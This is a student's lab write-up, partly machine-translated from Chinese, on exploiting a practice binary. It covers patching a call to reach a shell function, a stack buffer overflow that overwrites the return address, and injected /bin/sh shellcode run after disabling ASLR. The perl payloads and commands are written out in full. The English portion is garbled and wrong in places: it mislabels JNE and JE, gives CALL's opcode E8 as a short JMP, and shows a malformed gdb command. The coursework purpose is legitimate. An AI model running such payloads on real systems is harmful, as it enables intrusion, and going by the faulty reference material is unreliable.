2019-2020-2 network technology 20175214 Exp1 PC platform against reverse break
First, the stock of knowledge
- (1) master NOP, JNE, JE, JMP, CMP machine code instructions compiled
- NOP:90
- Etc: 75
- IS: 74
- CMP:38~3D
- JMP:
- JMP short:E8
- JMP near:E9
- JMP word:FF
- JMP far: EA
- Reference blog links
- (2) master disassembler and hex programmer
- Disassembly instruction
objdump -d <file(s)>
: code segment disassembled;
objdump -S <file(s)>
: code segment disassembly, while the disassembly and source are alternately displayed, use -g parameter compile-time, i.e. to debug information;
objdump -C <file(s)>
: the C ++ symbol names reverse analysis
objdump -l <file(s)>
: disassembly to insert the file name and line number
objdump -j section <file(s)>
: only disassemble the specified section - Reference blog links
- Disassembly instruction
- (3) hex programming: the software tool is used for text editing in hexadecimal view.
- Under Vim hexadecimal view, modify the text
vim -b filename
: View of vim file
:%!xxd
: the display mode is switched to the mode 16 hex
:%!xxd -r
: return to normal after editing format - Reference blog links
- Under Vim hexadecimal view, modify the text
Second, the experimental task
- Learn two ways to run the specified code segment;
- Learn how to inject any Shellcode run.
Third, the experimental procedures
1, the machine instructions directly modify the program so that the specified operation code segment
First, run
objdump -d pwn1 | more
topwn1
disassemble, the results shown:
- Find
call 8048491
that this code is meant to call at the address8048491
at thefoo
function; - Because we want it to running
getShell
, which can be seen from FIG address0804847d
, the calculation0804847d-80484ba
can be obtained corresponding to the complementc3ffffff
; - Next is very simple, just modify the code to call at, will
d7ffffff
be changedc3ffffff
to the specific operation as follows:- 先对pwn1进行备份,方便后面对比效果:
cp pwn1 pwn2
- 使用vim打开文件pwn2
vim pwn2
- 输入
:%!xxd
进入十六进制模式 键入
/e8 d7
(注意此处有空格),从而寻找指定代码段
- 将
d7
修改为c3
- 切换为原格式
:%!xxd -r
- 保存退出
- 重新对pwn2进行反汇编,检查修改是否正确
objdump -d pwn2 | more
结果如图,可见修改成功
- 先对pwn1进行备份,方便后面对比效果:
- 分别运行
pwn2
和修改前的源代码pwn2
会出现shell提示符,pwn1
会对输入进行回显
2、BOF攻击
- 这里利用的是
foo
函数的bof(Buffer over flow)漏洞,通过构造一个超出一个溢出的buf使得溢出部分可以覆盖堆栈上的返回地址,达到运行我们想要运行的代码段的目的。 首先还是先对
pwn1
进行反汇编
- 由图可见,预留的buf长度是
1c
(十六进制)即28个字节,再加上%ebp
占用的4字节,也就是32个字节。 对猜想进行验证
- 由图可见,
eip
被覆盖为0x39393939
,39
即为ASCII码的9
,根据输入的buf,可知是第33至36位; - 因此,只需要将把这四个字符替换成想要运行的代码段的地址就可以了,即
getshell
的内存地址0804847d
; 接下来再对其存储时的字节顺序进行测试:
- 由图可见,
eip
的值为0x35343332
,换算成十进制即5432
,所以需要逆序输入 - 综上所述,最终确定构造的buf为
11111111111111111111111111111111\x7d\x84\x04\x08
- 由于没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以通过使用
perl
生成一个字符串文件。
perl -e 'print "11111111111111111111111111111111\x7d\x84\x04\x08\x0a"' > input
- 通过
xxd input
来查看是否符合预期 - 然后使用管道符“|”将input的输入作为pwn3的输入
(cat input ;cat) | ./pwn3
过程和结果如图:
3、注入Shellcode并执行
- 使用
apt-get execstack
安装execstack - 修改堆栈的设置
execstack -s pwn4//设置堆栈可执行
execstack -q pwn4//查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看每次执行程序时堆栈位置是否移动
echo "0" > /proc/sys/kernel/randomize_va_space//关闭地址随机化
more /proc/sys/kernel/randomize_va_space //关闭后查看结果
- 先构造一个shellcode语句,并且把这个语句写入到文件“input_2”中(参考老师的博客中给出的shellcode):
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_2
- 其中
\x4\x3\x2\x1
是用来暂时表示shellcode代码首地址的,接下来要寻找其首地址:- 1、首先打开两个终端,在终端1的输入
(cat input_2;cat) | ./pwn4
2、在终端2输入
ps -ef | grep pwn4
查看进程,可见进程号为1278;
- 3、在终端2调用gdb,并输入
attach 1278
定位pwn4进程,然后输入disassemble foo
来查看注入内容的地址 - 4、在ret的地址处设置断点:
break *0x080484ae
5、返回终端1,回车,然后再切换到终端2,输入c继续执行;
6、使用
info -r rsp
来查看栈顶指针,为0xffffd6dc
。再输入x/16x 0xffffd6dc
查看指针指向的内容;
7、可以从上图看到,shellcode的首地址就是
0xffffd6dc
再加上4,即0xffffd6e0
;
- 1、首先打开两个终端,在终端1的输入
- 注意,先结束gdb,否则会出现段错误,然后返回终端1结束进程,并构造shellcode:
perl -e 'print "A" x 32;print "\xe0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_3
- 进行注入
(cat input_3;cat) | ./pwn4
,并验证。
四、问题回答
- 什么是漏洞?漏洞有什么危害?
- 我认为漏洞就是在计算机软件、硬件、协议等方面上存在的可以被利用的缺陷。
漏洞给了不法分子对计算机进行非法操作的可能,危害了用户隐私信息,可能造成经济财产损失。
五、心得体会
本次实验的第1、2步比较简单,主要是第3步花了很多时间,因为我第一次做到一半的时候做得太晚了,就关机准备第二天做,结果在第二天因为地址随机化没有关闭一直失败,重头再做才成功。这次实验让我学会了缓冲区溢出攻击的基本原理以及栈的构成原理,这也是我第一次接触到这样的实验,感觉很有趣。对于实验内容中的每一步我都尽可能地去理解,收获很大,也让我对于接下来的实验更感兴趣。在接下来的实验我会更加小心,不犯这次这样低级的错误。